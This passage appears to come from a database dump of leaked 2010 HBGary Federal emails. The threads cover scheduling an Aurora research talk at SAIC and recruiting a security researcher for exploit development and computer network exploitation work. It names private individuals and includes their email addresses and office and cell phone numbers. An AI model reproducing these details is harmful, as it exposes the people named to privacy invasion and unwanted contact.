Message-----\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\nSent: Monday, March 29, 2010 5:44 PM\r\n\r\n\r\n\r\nTo: Sheldon, Scott W.\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\n\r\n\r\n\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow about the 27th does that work?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just spoke with our Conference\r\n Center coordinator and\r\nmeeting space\r\n\r\n\r\n\r\n\r\n\r\nis\r\n\r\n\r\n\r\n\r\n\r\nan issue at 1600 on 20 Apr.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can easily do 1600 on 27 Apr if that works for you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\n\r\n\r\n\r\n\r\n\r\nthe\r\n\r\n\r\n\r\n\r\n\r\nextra 30 minutes to reconfigure the room from a previously scheduled\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmeeting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlong with your bio, I\'ll also need a paragraph or two abstract of\r\n\r\n\r\n\r\n\r\n\r\nyour\r\n\r\n\r\n\r\n\r\n\r\npresentation to post as part of the announcement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Estell, Timothy W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Friday, March 26, 2010 4:56 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Sheldon, Scott W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks like Dino or EndGames got cold feet. They say they have too\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmuch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ngoing on to commit Dino to this event.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo the stage is yours and you can keep us captivated with the HBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nresearch into Aurora.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\'ll plan on Tuesday, April 20th at 4 PM.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you provide a one paragraph bio to include in the meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nannouncement?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Estell -- estellt@saic.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-367-7558 (Office) 443-562-2039 (Cell)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4662,'aaron_hbgary_com/4662.html'),(5669,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004105.M904036P14101Q524.eml','\"Greg Hoglund\" <greg@hbgary.com>','TMC','Greg,\r\n\r\nHere are the images I have for the TMC.  If you have the originals I can take these and push together a single image to use in the Friday presentation.  How are things looking from your end?  Can you call me later and give me your SSN, DOB, POB.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16468,'aaron_hbgary_com/16468.html'),(5670,'2010-04-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004108.M125061P14101Q525.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you see reply from Shane Shook?&nbsp; He does web app testing,\r\nthought he might be good for Agilex thing\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 26, 2010 6:07 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Update\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyes. &nbsp;between our folks, Clearhat and Dino we have a\r\npretty nice shop to develop &quot;things&quot;.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSure anytime today. &nbsp;I am working on my Aurora briefing\r\nfor tomorrow and the NSA presentation stuff so just parked my butt on the\r\ncouch.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 26, 2010, at 9:04 AM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood things come to those who askJ&nbsp; Sorry I missed\r\nyou.&nbsp; Let&#8217;s catch up today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 25,\r\n2010 5:18 AM\r\nTo:&nbsp;Greg Hoglund; Penny\r\nLeavy\r\nSubject:&nbsp;Fwd: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;\r\nDate:&nbsp;April 25, 2010\r\n2:33:20 AM EDT\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject:&nbsp;Re: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHah, nice one. &nbsp;I would be quite interested in the unclass exploit\r\ndevelopment work. &nbsp;How about we chat on the phone about this next week?\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Dino,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot trying to be pushy but talented folks are hard to come\r\nby. &nbsp;I asked Chris if he would have any issues if we used your services\r\nand he said he would have no issues. &nbsp;He said something about if we could\r\nget something worthwhile out of you we were welcome to it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJoke.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am sure you have plenty of work, but just to keep in mind.\r\n&nbsp;We have both classified and unclassified work. &nbsp;Our unclass work is\r\nmostly around incident response, VA/PT work, hopefully some DARPA work coming\r\nup next month around cyber genomes. &nbsp;We also have some exploit development\r\nwork, some of it unclass, that I could really use some high talent on.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTake care,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI don\'t hold a clearance anymore (I last held a DOE L/Secret\r\nclearance in 2003, but that has long expired). &nbsp;I have done a couple of\r\nrandom IR gigs in the past, primarily involved in fully reverse engineering\r\nhigh-level malware into accurate C pseudocode and performing rapid\r\npost-intrusion vulnerability assessments (circa 2004-2005).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn second thought, I am realizing that any work with HBGary\r\nmight fall under various clauses in my employment contract w/ Endgames. &nbsp;I\r\nwouldn\'t want to open either of us up to any legal exposure, so I should\r\nprobably refrain from any work with HBGary for the time being.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk. &nbsp;Great.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have some ongoing work to build CNE capabilities.\r\n&nbsp;The contract we have had for a while, although we do a variety of\r\ndifferent things within it. &nbsp;We have used some consultants in the past to\r\nhelp with surges in this work. &nbsp;If this type of work interests you I would\r\ndefinitely like to put an NDA in place and use you for this type of work on an\r\nas needed and as available basis.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you hold a clearance at all?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you familiar with DARPA\'s cyber genome project?\r\n&nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related\r\nto automated malware analysis. &nbsp;That is all development work and\r\nunclassified. &nbsp;If that work interests you we could probably use your help\r\nthere too.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you do or have you done Incident Response work? &nbsp;We\r\nget short term gigs like this all the time. &nbsp;I am not completely up on\r\nyour full background so not sure if this is an area of expertise or interest.\r\n&nbsp;HBGary Federal will be working hard over the next few months to solidify\r\nour IR offerings, using HBGary products as well as partner products.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProbably others too but this is a good start off the top of\r\nmy head.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat types of things are you most interested in working on?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, this is my first week post-EGS. &nbsp;I am planning on\r\nstaying independent for a while and trying that out for a bit. &nbsp;I have a\r\ntraining course to prepare for BlackHat and some misc. other tasks, but may\r\nhave some time open for small projects. &nbsp;I would be interested in hearing\r\nabout what type of work you would have open to subcontracting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: Tue, Apr 13, 2010 at 10:43 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has sent you a message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: 4/13/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Dino,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt look like your not with EGS? What are you up to? Are you\r\ngoing to stay independent, and if so are you already booked up with work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your\r\nmessage settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3159,'aaron_hbgary_com/3159.html'),(5671,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004108.M432636P14101Q526.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Update','Yes I did. &nbsp;That is great. &nbsp;I will definitely be talking with him today or tomorrow.On Apr 26, 2010, at 9:40 AM, Penny Leavy-Hoglund wrote:Did you see reply from Shane Shook?&nbsp; He does web app testing, thought he might be good for Agilex thing&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 26, 2010 6:07 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Update&nbsp;yes. &nbsp;between our folks, Clearhat and Dino we have a pretty nice shop to develop \"things\".&nbsp;Sure anytime today. &nbsp;I am working on my Aurora briefing for tomorrow and the NSA presentation stuff so just parked my butt on the couch.&nbsp;Aaron&nbsp;&nbsp;On Apr 26, 2010, at 9:04 AM, Penny Leavy-Hoglund wrote:Good things come to those who askJ&nbsp; Sorry I missed you.&nbsp; Let’s catch up today&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 25, 2010 5:18 AMTo:&nbsp;Greg Hoglund; Penny LeavySubject:&nbsp;Fwd: Update&nbsp;FYIFrom my iPhoneBegin forwarded message:From:&nbsp;Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;Date:&nbsp;April 25, 2010 2:33:20 AM EDTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject:&nbsp;Re: UpdateHi Aaron,Hah, nice one. &nbsp;I would be quite interested in the unclass exploit development work. &nbsp;How about we chat on the phone about this next week?Cheers,-DinoOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:Hey Dino,&nbsp;Not trying to be pushy but talented folks are hard to come by. &nbsp;I asked Chris if he would have any issues if we used your services and he said he would have no issues. &nbsp;He said something about if we could get something worthwhile out of you we were welcome to it.&nbsp;Joke.&nbsp;I am sure you have plenty of work, but just to keep in mind. &nbsp;We have both classified and unclassified work. &nbsp;Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes. &nbsp;We also have some exploit development work, some of it unclass, that I could really use some high talent on.&nbsp;Take care,&nbsp;Aaron&nbsp;&nbsp;&nbsp;&nbsp;On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:&nbsp;Hello Aaron,&nbsp;I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired). &nbsp;I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).&nbsp;On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames. &nbsp;I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.&nbsp;Cheers,&nbsp;-Dino&nbsp;&nbsp;On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:&nbsp;Ok. &nbsp;Great.&nbsp;We have some ongoing work to build CNE capabilities. &nbsp;The contract we have had for a while, although we do a variety of different things within it. &nbsp;We have used some consultants in the past to help with surges in this work. &nbsp;If this type of work interests you I would definitely like to put an NDA in 